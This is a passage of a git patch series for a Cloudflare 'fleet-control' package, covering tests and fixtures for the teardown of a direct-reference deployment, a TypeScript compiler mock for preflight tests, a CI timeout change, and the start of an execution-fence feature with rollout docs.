it('returns recorded facts without a provider call once complete', async () => { + const w = await world(); + const first = await w.run(); + const calls = w.requests.length; + expect(await w.run()).toEqual(first); + expect(w.requests.length).toBe(calls); + }); + + it('refuses a pending invocation before any provider call', async () => { + const w = await world(); + await w.journal.reserveInvocation(w.f.request()); + const outcome = retained(await w.run()); + expect(outcome).toMatchObject({ + reason: 'outcome-unknown', + phase: 'refused', + }); + expect(w.requests).toEqual([]); + expect(outcome.facts.retainedIdentities.fleetUuid).toBe('fleet-uuid'); + }); + + it('refuses a pending bootstrap mutation and an incomplete bootstrap before any provider call', async () => { + const f = await fixture(); + const journal = await opened({ ...f.input, mode: 'run' }); + await journal.bindBootstrapContext(bootstrapContext(f)); + const call = () => + teardownDirectReference({ + prepared: f.prepared, + journal, + apiToken: API_TOKEN, + fetch: never(), + }); + expect(retained(await call()).reason).toBe('invalid-state'); + await journal.beginBootstrapMutation('create-fleet-d1'); + const pending = retained(await call()); + expect(pending.reason).toBe('outcome-unknown'); + expect(pending.facts.retainedIdentities).toEqual({ + fleetUuid: null, + quotaUuid: null, + exportBucket: null, + scriptName: null, + activeVersionId: null, + }); + }); + + it('records a refused state with residuals, deletes nothing and re-observes in place', async () => { + const w = await world({ complete: false }); + const outcome = retained(await w.run()); + expect(outcome).toMatchObject({ + reason: 'scenario-incomplete', + phase: 'refused', + }); + expect(w.requests.some((entry) => entry.startsWith('DELETE'))).toBe(false); + expect(outcome.facts.residual).toMatchObject({ + versionsGone: null, + settleAttempts: 1, + }); + expect(present(outcome.facts.residual).surfaces.databases).toMatchObject({ + prefixCount: 2, + prefixNames: [w.names.fleetDatabase, w.names.quotaDatabase], + }); + expect(outcome.facts.retainedIdentities).toEqual({ + fleetUuid: 'fleet-uuid', + quotaUuid: 'quota-uuid', + exportBucket: w.names.exportBucket, + scriptName: w.names.referenceWorker, + activeVersionId: 'version', + }); + const first = w.requests.length; + expect(retained(await w.run()).reason).toBe('scenario-incomplete'); + expect(w.requests.length).toBeGreaterThan(first); + expect(w.requests.some((entry) => entry.startsWith('DELETE'))).toBe(false); + expect((await diskState(w.journal)).teardown).toMatchObject({ + phase: 'refused', + failure: 'scenario-incomplete', + receipts: { exportObjects: [] }, + }); + }); + + it('refuses a confirmed export set that is not exactly two keys', async () => { + const w = await world({ complete: false }); + const state = completeScenario(); + const a = present(state.proofs.exports.a); + present(state.proofs.exports.b).receipt = structuredClone(a.receipt); + state.proofs.exportVerifications = state.proofs.exportVerifications.map( + () => structuredClone(a), + ); + await w.journal.recordScenario(state); + const outcome = retained(await w.run()); + expect(outcome.reason).toBe('invalid-state'); + expect(w.requests).toEqual([]); + }); + + it('refuses an unexpected object before any object delete', async () => { + for (const kind of ['under-prefix', 'outside-prefix', 'keyless'] as const) { + const w = await world(); + if (kind === 'under-prefix') + w.state.objects.add(`${w.prefix}/receipts/v1/other/object.sql`); + if (kind === 'outside-prefix') + w.state.objects.add('unrelated/object.sql'); + if (kind === 'keyless') + w.setHook((request, url) => + request.method === 'GET' && url.pathname.endsWith('/objects') + ? json([{ size: 1 }]) + : undefined, + ); + expect(retained(await w.run()).reason).toBe('unexpected-object'); + expect( + w.requests.filter( + (entry) => entry.startsWith('DELETE') && entry.includes('/objects/'), + ), + ).toEqual([]); + } + }); + + it('settles an unusable delete answer by exact-identity reread in the same run', async () => { + for (const kind of [ + 'empty', + 'array', + 'unsuccessful', + 'no-content', + 'throw', + ] as const) { + const w = await world(); + w.setHook((request, url) => { + if (request.method !== 'DELETE' || url.pathname !== w.script) + return undefined; + w.state.scriptPresent = false; + if (kind === 'throw') throw new Error('synthetic transport loss'); + if (kind === 'array') return json([]); + if (kind === 'unsuccessful') + return Response.json({ success: false, errors: [], result: null }); + if (kind === 'no-content') return new Response(null, { status: 204 }); + return new Response(null, { + status: 200, + headers: { + 'content-type': 'application/json', + 'content-length': '0', + }, + }); + }); + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + expect(outcome.facts.receipts.worker).toMatchObject({ + settledByReread: true, + }); + } + }); + + it('resumes a pending second export object with the first already receipted', async () => { + const w = await world(); + w.setHook((request, url) => + request.method === 'DELETE' && + decodeURIComponent(url.pathname).endsWith(w.keyB) + ? json([]) + : undefined, + ); + expect(retained(await w.run()).reason).toBe('outcome-unknown'); + expect((await diskState(w.journal)).teardown).toMatchObject({ + phase: 'export-objects', + pending: { kind: 'delete-export-object', key: w.keyB }, + receipts: { exportObjects: [{ key: w.keyA }] }, + }); + w.setHook(undefined); + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + expect( + outcome.facts.receipts.exportObjects.map((entry) => entry.key), + ).toEqual([w.keyA, w.keyB]); + }); + + it('refuses an unreadable probe instead of claiming absence', async () => { + const w = await world(); + w.setHook((request, url) => + request.method === 'GET' && url.pathname === `${w.script}/subdomain` + ? absent(500) + : undefined, + ); + expect(retained(await w.run()).reason).toBe('provider-unavailable'); + }); + + it('retains a pending mutation whose reread still shows the resource', async () => { + const w = await world(); + w.setHook((request, url) => + request.method === 'DELETE' && url.pathname === w.script + ? json([]) + : undefined, + ); + const outcome = retained(await w.run()); + expect(outcome).toMatchObject({ + reason: 'outcome-unknown', + phase: 'worker', + }); + expect((await diskState(w.journal)).teardown).toMatchObject({ + phase: 'worker', + pending: { kind: 'delete-reference-worker' }, + receipts: { worker: null }, + }); + }); + + it('resumes an absent pending mutation without a second delete', async () => { + const w = await world(); + w.setHook((request, url) => + request.method === 'DELETE' && url.pathname.includes('/d1/database/') + ? json([]) + : undefined, + ); + expect(retained(await w.run()).reason).toBe('outcome-unknown'); + w.setHook(undefined); + w.state.databases.delete('fleet-uuid'); + const mark = w.requests.length; + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + expect(outcome.facts.receipts.fleet).toMatchObject({ + uuid: 'fleet-uuid', + settledByReread: true, + }); + expect( + w.requests + .slice(mark) + .filter((entry) => entry === `DELETE ${ROOT}/d1/database/fleet-uuid`), + ).toEqual([]); + }); + + it('re-issues a present pending mutation once the identity matches', async () => { + const w = await world(); + w.setHook((request, url) => + request.method === 'DELETE' && url.pathname === w.bucketPath + ? json([]) + : undefined, + ); + expect(retained(await w.run()).reason).toBe('outcome-unknown'); + w.setHook(undefined); + const mark = w.requests.length; + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + expect(outcome.facts.receipts.exports).toMatchObject({ + name: w.names.exportBucket, + settledByReread: false, + }); + expect( + w.requests.slice(mark).filter((entry) => entry.startsWith('DELETE')), + ).toEqual([`DELETE ${w.bucketPath}`]); + }); + + it('refuses a changed identity on resume instead of deleting', async () => { + for (const kind of ['bucket', 'script'] as const) { + const w = await world(); + const target = kind === 'bucket' ? w.bucketPath : w.script; + w.setHook((request, url) => + request.method === 'DELETE' && url.pathname === target + ? json([]) + : undefined, + ); + expect(retained(await w.run()).reason).toBe('outcome-unknown'); + const mark = w.requests.length; + w.setHook((request, url) => { + if (request.method !== 'GET') return undefined; + if (kind === 'bucket' && url.pathname === w.bucketPath) + return json({ + name: w.names.exportBucket, + creation_date: '2020-01-01T00:00:00.000Z', + }); + if (kind === 'script' && url.pathname === `${w.script}/deployments`) + return json({ + deployments: [ + { + id: 'deployment', + strategy: 'percentage', + versions: [{ version_id: 'other-version', percentage: 100 }], + }, + ], + }); + return undefined; + }); + expect(retained(await w.run()).reason).toBe('identity-mismatch'); + expect( + w.requests.slice(mark).filter((entry) => entry.startsWith('DELETE')), + ).toEqual([]); + } + }); + + it('refuses a mismatched secret set instead of deleting the worker', async () => { + const w = await world(); + w.state.secretNames.push('UNEXPECTED_SECRET'); + const outcome = retained(await w.run()); + expect(outcome.reason).toBe('identity-mismatch'); + expect(w.requests).not.toContain(`DELETE ${w.script}`); + }); + + it('refuses a forbidden residual surface and records a fail-closed dispatch', async () => { + for (const surface of [ + `${ROOT}/d1/database`, + `${ROOT}/workers/durable_objects/namespaces`, + `${ROOT}/workers/scripts`, + `${ROOT}/r2/buckets`, + `${ROOT}/workers/domains`, + ROUTES, + ]) { + const w = await world(); + w.setHook((request, url) => + request.method === 'GET' && url.pathname === surface + ? forbid() + : undefined, + ); + expect(retained(await w.run()).reason).toBe('forbidden'); + } + const w = await world(); + w.setHook((request, url) => + request.method === 'GET' && + url.pathname === `${ROOT}/workers/dispatch/namespaces` + ? forbid() + : undefined, + ); + const outcome = retained(await w.run()); + expect(outcome.reason).toBe('residual-present'); + expect(present(outcome.facts.residual).dispatch).toMatchObject({ + kind: 'fail-closed', + count: 0, + status: 403, + prefixCount: 0, + }); + }); + + it('refuses a short numbered page and an unusable bucket page', async () => { + for (const page of [ + json([{ uuid: 'one', name: 'one' }], { total_count: 2 }), + json([], { total_pages: 2 }), + ]) { + const short = await world(); + short.setHook((request, url) => + request.method === 'GET' && + url.pathname === `${ROOT}/d1/database` && + !url.searchParams.has('page') + ? page.clone() + : undefined, + ); + expect(retained(await short.run()).reason).toBe('provider-unavailable'); + } + + const unsorted = await world(); + unsorted.setHook((request, url) => + request.method === 'GET' && url.pathname === `${ROOT}/r2/buckets` + ? json({ + buckets: url.searchParams.has('start_after') + ? [{ name: 'aaa' }] + : [{ name: 'zzz' }], + }) + : undefined, + ); + expect(retained(await unsorted.run()).reason).toBe('provider-unavailable'); + + const nameless = await world(); + nameless.setHook((request, url) => + request.method === 'GET' && url.pathname === `${ROOT}/r2/buckets` + ? json({ buckets: [{ location: 'weur' }] }) + : undefined, + ); + expect(retained(await nameless.run()).reason).toBe('provider-unavailable'); + }); + + it('terminates the bucket loop only on an empty page', async () => { + const w = await world(); + w.state.extraBuckets.push({ name: 'zzz-other-bucket' }); + const outcome = retained(await w.run()); + expect(outcome.reason).toBe('residual-present'); + expect( + w.requests.filter((entry) => entry === `GET ${ROOT}/r2/buckets`).length, + ).toBe(10); + expect(present(outcome.facts.residual).surfaces.buckets).toMatchObject({ + prefixCount: 0, + prefixNames: [], + globalCount: 1, + exhaustive: true, + }); + }); + + it('reports a prefix residual with names after the settle ceiling', async () => { + const w = await world(); + w.state.extraDatabases.push({ + uuid: 'residual-uuid', + name: `${w.prefix}-left-behind`, + }); + const outcome = retained(await w.run()); + expect(outcome).toMatchObject({ + reason: 'residual-present', + phase: 'complete', + }); + expect(present(outcome.facts.residual).settleAttempts).toBe(5); + expect(present(outcome.facts.residual).surfaces.databases).toMatchObject({ + prefixCount: 1, + prefixNames: [`${w.prefix}-left-behind`], + exhaustive: true, + }); + expect((await diskState(w.journal)).teardown).toMatchObject({ + phase: 'complete', + failure: 'residual-present', + }); + }); + + it('settles a namespace that disappears part way through the loop', async () => { + const w = await world(); + w.state.namespaces.push({ id: 'slow', script: w.names.referenceWorker }); + let attempts = 0; + w.setHook((request, url) => { + if ( + request.method !== 'GET' || + url.pathname !== `${ROOT}/workers/durable_objects/namespaces` || + url.searchParams.has('page') + ) + return undefined; + attempts += 1; + if (attempts >= 3) w.state.namespaces.splice(0); + return undefined; + }); + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + expect(present(outcome.facts.residual).settleAttempts).toBe(3); + }); + + it('re-runs only the residual settle after a recorded residual failure', async () => { + const w = await world(); + w.state.extraDatabases.push({ + uuid: 'residual-uuid', + name: `${w.prefix}-left-behind`, + }); + expect(retained(await w.run()).reason).toBe('residual-present'); + const mark = w.requests.length; + w.state.extraDatabases.splice(0); + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + expect(present(outcome.facts.residual).settleAttempts).toBe(1); + expect( + w.requests.slice(mark).some((entry) => entry.startsWith('DELETE')), + ).toBe(false); + }); + + it('nulls every global count and issues no unfiltered list off a shared account', async () => { + const w = await world({ disposableAccount: false }); + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + for (const surface of Object.values( + present(outcome.facts.residual).surfaces, + )) + expect(surface.globalCount).toBeNull(); + expect( + w.requests.filter((entry) => entry === `GET ${ROOT}/d1/database`).length, + ).toBe(1); + }); + + it('retains the pending mutation when the budget is exhausted mid-sequence', async () => { + const w = await world(); + w.setHook((request, url) => { + if (request.method === 'DELETE' && url.pathname === w.script) + throw new DirectProviderError('budget-exhausted'); + return undefined; + }); + const outcome = retained(await w.run()); + expect(outcome.reason).toBe('budget-exhausted'); + expect((await diskState(w.journal)).teardown).toMatchObject({ + phase: 'worker', + pending: { kind: 'delete-reference-worker' }, + }); + }); + + it('keeps the API token and request headers out of the journal', async () => { + const w = await world(); + await w.run(); + const bytes = await readFile( + join(w.journal.directory, 'journal.json'), + 'utf8', + ); + expect(bytes).not.toContain(API_TOKEN); + expect(bytes).not.toContain('Bearer'); + expect(bytes).not.toContain('authorization'); + expect(bytes).toContain('CLOUDFLARE_API_TOKEN'); + }); +}); diff --git a/packages/fleet-control/test/fixtures/direct-run-state-builder.ts b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts index 6f7c46b1..96c8573a 100644 --- a/packages/fleet-control/test/fixtures/direct-run-state-builder.ts +++ b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts @@ -6,10 +6,14 @@ import { tmpdir } from 'node:os'; import { join } from 'node:path'; import { preflightDirectConformance } from '../../scripts/direct-credentialed-conformance-preflight.mjs'; import { + DIRECT_RESIDUAL_SURFACES, DIRECT_SCENARIO_OPERATION_SLOTS, + DIRECT_TEARDOWN_MAXIMA, type DirectBootstrapContext, type DirectBootstrapMutationReceipt, + type DirectResidualObservation, type DirectRunJournal, + type DirectTeardownState, openDirectRunState, } from '../../scripts/direct-credentialed-run-state.mjs'; import type { DirectScenarioState } from '../../scripts/direct-credentialed-scenario.mjs'; @@ -38,7 +42,7 @@ export function present(value: Value | null | undefined): Value { return value; } -export async function fixture(limit = 3) { +export async function fixture(limit = 3, disposableAccount = true) { const directory = await mkdtemp(join(tmpdir(), 'direct-run-state-')); directories.push(directory); const config = JSON.parse( @@ -50,6 +54,7 @@ export async function fixture(limit = 3) { 'utf8', ), ); + config.disposableAccount = disposableAccount; const reference = "import manifest from './direct-run-manifest.js'; export default {fetch(){return Response.json(manifest.contractVersion)}};"; const tenant = @@ -533,8 +538,8 @@ export function scenarioWith( return state; } -export async function scenarioJournal(limit = 8) { - const f = await fixture(limit); +export async function scenarioJournal(limit = 8, disposableAccount = true) { + const f = await fixture(limit, disposableAccount); const journal = await opened({ ...f.input, mode: 'run' }); await confirmedBootstrap(f, journal); let ordinal = 0; @@ -546,3 +551,141 @@ export async function scenarioJournal(limit = 8) { await journal.recordBootstrapObservation({ kind: 'control-read', ordinal }); return { f, journal }; } + +export const EXPORT_IDENTITY = { + a: { databaseId: 'database-a', operationId: 'operation-a' }, + b: { databaseId: 'database-b', operationId: 'operation-b' }, +} as const; + +export function exportKey(prefix: string, role: 'a' | 'b') { + const { databaseId, operationId } = EXPORT_IDENTITY[role]; + return `${prefix}/receipts/v1/${databaseId}/${operationId}.sql`; +} + +export function completeScenario(): MutableScenario { + return scenarioWith((state) => { + state.phase = 'complete'; + state.failure = null; + const [armA, armB] = state.proofs.steps; + if (!armA || !armB) throw new Error('scenario fixture lost its steps'); + armA.step = 'arm-maintenance'; + armB.step = 'arm-maintenance'; + for (const role of ['a', 'b'] as const) { + const proof = present(state.proofs.exports[role]); + proof.receipt.databaseId = EXPORT_IDENTITY[role].databaseId; + proof.receipt.operationId = EXPORT_IDENTITY[role].operationId; + } + state.proofs.exportVerifications = state.proofs.exportVerifications.map( + (_entry, index) => + structuredClone(present(state.proofs.exports[index % 2 ? 'b' : 'a'])), + ); + }); +} + +export async function completeScenarioJournal( + limit = 8, + disposableAccount = true, +) { + const opening = await scenarioJournal(limit, disposableAccount); + await opening.journal.recordScenario(completeScenario()); + return opening; +} + +export type MutableResidual = Omit< + Mutable, + 'bucketJurisdictions' +> & { bucketJurisdictions: ['default'] }; +export type MutableTeardown = Omit, 'residual'> & { + residual: MutableResidual | null; +}; +export const MAX_NAME = 'n'.repeat(DIRECT_TEARDOWN_MAXIMA.nameBytes); +export const MAX_KEY = `k/${'k'.repeat(DIRECT_TEARDOWN_MAXIMA.keyBytes - 2)}`; + +export function residualObservation(): MutableResidual { + return { + version: 1, + surfaces: Object.fromEntries( + DIRECT_RESIDUAL_SURFACES.map((surface) => [ + surface, + { + prefixCount: MAX_COUNT, + prefixNames: Array.from( + { length: DIRECT_TEARDOWN_MAXIMA.prefixNames }, + () => MAX_NAME, + ), + globalCount: MAX_COUNT, + exhaustive: true, + }, + ]), + ) as MutableResidual['surfaces'], + bucketJurisdictions: ['default'], + dispatch: { + kind: 'enumerated', + count: MAX_COUNT, + status: MAX_COUNT, + prefixCount: MAX_COUNT, + }, + versionsGone: false, + settleAttempts: DIRECT_TEARDOWN_MAXIMA.settleAttempts, + }; +} + +export function maximalTeardown(): MutableTeardown { + const settlement = { ordinal: MAX_COUNT, settledByReread: true }; + return { + version: 1, + phase: 'complete', + pending: null, + receipts: { + ingress: { ...settlement }, + worker: { + scriptName: MAX_NAME, + secretNames: Array.from( + { length: DIRECT_TEARDOWN_MAXIMA.secretNames }, + () => MAX_NAME, + ), + ...settlement, + }, + fleet: { uuid: MAX_NAME, ...settlement }, + quota: { uuid: MAX_NAME, ...settlement }, + exportObjects: Array.from( + { length: DIRECT_TEARDOWN_MAXIMA.exportObjects }, + (_entry, index) => ({ + key: `${index}${MAX_KEY.slice(1)}`, + ...settlement, + }), + ), + exports: { name: MAX_NAME, ...settlement }, + }, + residual: residualObservation(), + providerRequests: MAX_COUNT, + failure: 'residual-present', + }; +} + +export function teardownState(): MutableTeardown { + return { + version: 1, + phase: 'ingress', + pending: null, + receipts: { + ingress: null, + worker: null, + fleet: null, + quota: null, + exportObjects: [], + exports: null, + }, + residual: null, + providerRequests: 0, + failure: null, + }; +} + +export function teardownWith( + mutate: (state: MutableTeardown) => unknown, +): MutableTeardown { + const state = teardownState(); + mutate(state); + return state; +} From 8680bc0284db660b92a634f4032b5d7dcd5baaad Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 13 Sep 2026 10:49:16 +0400 Subject: [PATCH 140/169] test(fleet-control): force the preflight compiler failure at the seam The two "contains compiler failures" titles provoked the failure with a thousand nested parentheses and relied on TypeScript's recursive parser overflowing V8's stack. That boundary moves with the host's stack budget and with V8's parser frame sizes: on a runner with more headroom the parser returns, the preflight resolves, and both titles fail. The file now mocks the typescript module, because TypeScript's CommonJS namespace defines createSourceFile as a non-configurable getter that vi.spyOn cannot redefine, and wraps createSourceFile so that it throws a RangeError on the call that inspects the role under test (the first call for the reference artifact, the second for the tenant) and delegates otherwise. The two titles arm that wrapper with a countdown that disarms when it fires, so every other title parses through the real compiler. The preflight script is unchanged. Co-Authored-By: Claude Fable 5.1 --- ...credentialed-conformance-preflight.test.ts | 32 ++++++++++++++++--- 1 file changed, 27 insertions(+), 5 deletions(-) diff --git a/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts index ba5dcf87..671d2834 100644 --- a/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts +++ b/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts @@ -21,6 +21,31 @@ import { readDirectConformanceConfig, } from '../scripts/direct-credentialed-conformance-preflight.mjs'; +// TypeScript's CommonJS namespace exposes createSourceFile as a non-configurable +// getter, so the compiler seam is reachable only by mocking the module. +const compiler = vi.hoisted(() => ({ failOnCall: 0 })); + +vi.mock('typescript', async (importOriginal) => { + const actual = await importOriginal<{ + default: typeof import('typescript'); + }>(); + const createSourceFile = ( + ...args: Parameters + ) => { + if (compiler.failOnCall > 0) { + compiler.failOnCall -= 1; + if (compiler.failOnCall === 0) + throw new RangeError('Maximum call stack size exceeded'); + } + return actual.default.createSourceFile(...args); + }; + return { + ...actual, + createSourceFile, + default: { ...actual.default, createSourceFile }, + }; +}); + const NOW = Date.parse('2026-09-09T12:00:00.000Z'); const REFERENCE = `import manifest from './direct-run-manifest.js'; export default {fetch() {return Response.json(manifest.contractVersion)}};`; @@ -144,11 +169,8 @@ describe('direct artifact preflight', () => { 'reference', 'tenant', ] as const)('contains compiler failures for the %s role', async (role) => { - const suffix = `\nconst nested=${'('.repeat(1_000)}0${')'.repeat(1_000)};`; - const f = await fixture( - REFERENCE + (role === 'reference' ? suffix : ''), - TENANT + (role === 'tenant' ? suffix : ''), - ); + compiler.failOnCall = role === 'reference' ? 1 : 2; + const f = await fixture(); await expect(prepare(f.configPath)).rejects.toThrow( `direct conformance preflight has invalid ${role} artifact module inspection`, ); From 0b2520e9a2072c90643233932613e2896b1cd97b Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 13 Sep 2026 11:33:42 +0400 Subject: [PATCH 141/169] ci: size the verify job timeout to the full gate The verify job's twenty-minute cap was reached with no step having failed. On the last two cancelled runs, typecheck, the whole test suite, build and API docs took about nineteen minutes, and the job was cut off in its eighteenth step with eight verification steps still to run, one of them carrying its own ten-minute cap. The test step is the growth: it took under four minutes on the last fully green run and over fourteen now. The job now has forty-five minutes, nearly twice the projected full run. The React Doctor step and the mastra-compat job keep their caps. Co-Authored-By: Claude Fable 5.1 --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 41043967..94cdb1de 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -15,7 +15,7 @@ permissions: jobs: verify: runs-on: ubuntu-latest - timeout-minutes: 20 + timeout-minutes: 45 steps: - uses: actions/checkout@v4 From 469a3543f5f2f2fb77707ca1cd4fc17643dd1213 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 13 Sep 2026 19:54:55 +0400 Subject: [PATCH 142/169] feat(fleet-control): prove the execution fence in the direct scenario The reference protocol gains a fence operation module. It reads, drains and reopens a tenant's execution fence, sweeps its inventory, issues a current-epoch schedule mutation and the three labelled epoch probes, all through the tenant's admin and probe routes, under one response contract that projects an allowlist of reading fields and refuses a wrong media type, an oversized body, invalid JSON, an unknown state or a non-integer counter. The lifecycle action type excludes the fence kind, so a fence action does not type as a lifecycle action. The tenant fixture Worker derives its mutation epoch from APPLICATION_RELEASE through one shared rule and gains two probe routes, /__direct/fence-mutate and /__direct/fence-probe. They validate the request's members before the schedule router sees it and drive the real schedule router against the real fence store; fence-mutate refuses a malformed schedule id before any URL is built and reports the outcome by response.ok with the refusal code projected from the router's reason, and fence-probe reports the classification derived from it. The scenario gains the fence-drain, fence-reopen and fence-proofs phases, each measured at nine invocations. The run journal gains a fence proof shape with ordinal bounds, completion gates and member-level preservation across a resume, and its two size thresholds follow from the measured maximal scenario journal and the measured teardown free space. The offline fixture serves the fence, inventory, mutation and labelled-epoch branches over the real fence store, inventory and epoch assertion behind each role's credential. The offline suites prove control-plane composition and the published epoch check. The real-lane tenant suite alone proves that the artifact carries its own epoch: after the fence reopens, a release-1 deployment's schedule create is refused as stale and a release-2 deployment's is admitted on the same database, with no caller supplying an epoch. Malformed members and ids are refused by the route itself, and a draining fence still admits a delete. The docs publish the fence-coordinated rollout order and state that schedule mutations carry the epoch check activation requires. Neither lane reaches Cloudflare: the tenant suite boots local workerd through wrangler's test harness, and the scenario and offline fence suites run in Node against the fixture provider. Co-Authored-By: Claude Fable 5.1 --- docs/deployment-reference.md | 4 +- docs/fleet-control.md | 34 ++ packages/fleet-control/README.md | 2 +- .../direct-credentialed-run-state.d.mts | 1 + .../scripts/direct-credentialed-run-state.mjs | 125 ++++- .../direct-credentialed-scenario-budget.d.mts | 3 + .../direct-credentialed-scenario-budget.mjs | 3 + .../direct-credentialed-scenario.d.mts | 49 ++ .../scripts/direct-credentialed-scenario.mjs | 155 +++++++ .../direct-credentialed-tenant-object.d.mts | 1 + .../direct-credentialed-tenant-object.mjs | 7 + .../scripts/direct-credentialed-tenant.ts | 170 +++++++ .../scripts/direct-reference-contract.d.mts | 18 + .../scripts/direct-reference-contract.mjs | 39 ++ .../scripts/direct-reference-fence.ts | 278 ++++++++++++ .../scripts/direct-reference-lifecycle.ts | 2 +- .../scripts/direct-reference-worker.ts | 3 + .../scripts/tsconfig.direct-worker.json | 1 + .../direct-credentialed-run-state.test.ts | 325 ++++++++++++- ...irect-credentialed-scenario-checks.test.ts | 26 +- .../test/direct-credentialed-scenario.test.ts | 427 +++++++++++++++++- ...direct-credentialed-tenant.harness.test.ts | 237 ++++++++++ .../test/direct-reference-contract.test.ts | 62 +++ .../direct-reference-fence.harness.test.ts | 388 ++++++++++++++++ .../test/fixtures/direct-reference-harness.ts | 214 ++++++++- .../test/fixtures/direct-run-state-builder.ts | 40 ++ .../test/fixtures/provider-world.ts | 6 +- 27 files changed, 2597 insertions(+), 23 deletions(-) create mode 100644 packages/fleet-control/scripts/direct-reference-fence.ts create mode 100644 packages/fleet-control/test/direct-reference-fence.harness.test.ts diff --git a/docs/deployment-reference.md b/docs/deployment-reference.md index 1e16441c..e367e28a 100644 --- a/docs/deployment-reference.md +++ b/docs/deployment-reference.md @@ -173,7 +173,7 @@ An upgraded CAS compares state, epoch, and revision. An exact retry succeeds onl Legacy `{ expected, next, proofKey? }` requests remain valid only before activation. They increment the revision, clear the previous upgraded receipt, and retain state-only ABA semantics. After activation, they return `409` with `reason.conflict: 'versioned-expectation-required'`. Storage failures, corrupt metadata, and write outcomes that strict readback cannot prove return `503` with `EXECUTION_FENCE_UNREADABLE`. -Administrative metadata does not establish final-write run or schedule protection. Do not activate the requirement until every writer supports final-write epoch checks. Use an authoritative D1 binding for administration and ordinary reads; an unconstrained replica facade cannot satisfy the store's freshness contract. The [runner design](do-runner-design.md#execution-fence-and-start-reservations) describes schema recovery, proof binding, and the legacy-absence limitation. +Administrative metadata does not establish final-write run or schedule protection. Activate the requirement only for deployments whose writers all carry a final-write epoch check; schedule mutations do, asserting the caller epoch before the state gate and revalidating it inside the mutation's own batch, so a write that races an advancing epoch is refused or reported as an unknown outcome, never silently accepted. Use an authoritative D1 binding for administration and ordinary reads; an unconstrained replica facade cannot satisfy the store's freshness contract. The [runner design](do-runner-design.md#execution-fence-and-start-reservations) describes schema recovery, proof binding, and the legacy-absence limitation. Additive proof-identity columns preserve an active fence's epoch, revision, receipt, state, and timestamps. A complete stored proof identity includes its D1 prefix, workflow, run, and token. Admin reads and conflicts expose neither this identity nor its token; a newly applied admin command clears it with the proof-run binding, while an exact retry preserves it. @@ -189,7 +189,7 @@ Set `mutationEpoch` on `createFlowsafeWorker()` to a nonnegative safe-integer nu The topologies stamp `x-flowsafe-mutation-epoch` for internal calls, replacing or removing incoming values. `createActorResolver()` refuses that header on public requests. Both Durable Object shells capture it before deployment verification and decode the captured value only afterward. -Fenced Runtime starts enforce the captured caller epoch at the initial D1 write and bind their generated execution identity with the winning claim and proof. Both hosts journal preparation and recover only exact owned generations. Final schedule-write protection and generation-aware retention still require implementation and acceptance before enabling artifact epochs across the deployment. An explicitly unfenced Runtime retains ordinary persistence and supplies no atomic fence guarantee. +Fenced Runtime starts enforce the captured caller epoch at the initial D1 write and bind their generated execution identity with the winning claim and proof. Both hosts journal preparation and recover only exact owned generations. Generation-aware retention still requires implementation and acceptance before enabling artifact epochs across the deployment. An explicitly unfenced Runtime retains ordinary persistence and supplies no atomic fence guarantee. Custom run-router idempotency wiring must supply the topology's private `persistedStart(workflowId, runId)` callback alongside its store, fence and liveness probe. It carries one observed identity/result internally; ordinary public status is not a substitute. Use `claimReservation`, `releaseReservation`, `associateReservation`, `bindPreparedStart` and `settleExecution` with their exact observations. The old run-only methods and HTTP rollback helper are removed. diff --git a/docs/fleet-control.md b/docs/fleet-control.md index a4069f78..9e47a2b2 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -344,6 +344,40 @@ Per-call leases permit another lifecycle driver to act between steps. The frozen Durable Object tag movement has an additional recovery limit. Continuations accept the recorded target tag or the consistent external finalized-state tag/resource pair. Fresh admission remains strict about the previous tag, just like the drain. A new operation over an external record whose tag already moved can therefore refuse on both the completed and interrupted paths. An operation that is still running after a lost progress response can resume with its continuation. A durably failed operation cannot: neither its failed token nor a new operation ID repairs the post-tag-move admission dead-end. This API provides no reset or repair operation for that state; abandonment does not supply one. +## Roll out an artifact under the execution fence + +Coordinate the FlowSafe execution fence with a bounded migration of one deployment. Configure the artifact’s trusted caller epoch through `createFlowsafeWorker({ mutationEpoch })` and propagate that exact epoch to allowed mutations; never take it from a client header. Check the [trusted caller epoch requirements](deployment-reference.md#configure-the-trusted-caller-epoch) before activation, including the remaining generation-aware retention requirement. + +Use the deployment’s route hostname for the [execution-fence and inventory routes](deployment-reference.md#control-plane-routes), authenticated with its maintenance admin secret. The plain Worker’s control origin does not expose those routes. Persist transition inputs and observations alongside the migration operation so a lost response can be reconciled against authoritative state. + +Follow this order: + +1. Read `GET /admin/execution-fence`. Persist its epoch and revision, then POST `{ expected: 'open', next: 'draining', expectedMutationEpoch, expectedRevision, advanceMutationEpoch: true }` to the same path. This compare-and-swap atomically advances the epoch and activates `requireMutationEpoch`. Configure the target artifact for the returned epoch. +2. Read the category index from `GET /admin/inventory` and sweep the categories it declares through `?category=`. Prove the drain with every `work` category empty on two sweeps taken from `draining`, at least 60 seconds apart. An empty observation has no entries and no continuation cursor; do not infer emptiness from an absent `count`. Standing categories need not be empty, and persisted idle signals remain across the migration. The [execution-fence design](do-runner-design.md#execution-fence-and-start-reservations) defines the drain and proof boundaries. +3. Start `advanceFleetMigration()` with that deployment’s record and the trusted target specification. Persist the original start input and operation ID; persist each pending token before scheduling its continuation. Keep the fence `draining` while advancing the bounded migration. +4. Require active-route attestation of the promoted artifact and settlement while the deployment lease is held. Retain the migration’s keyed, at-least-once delivery contract for attestation and settlement 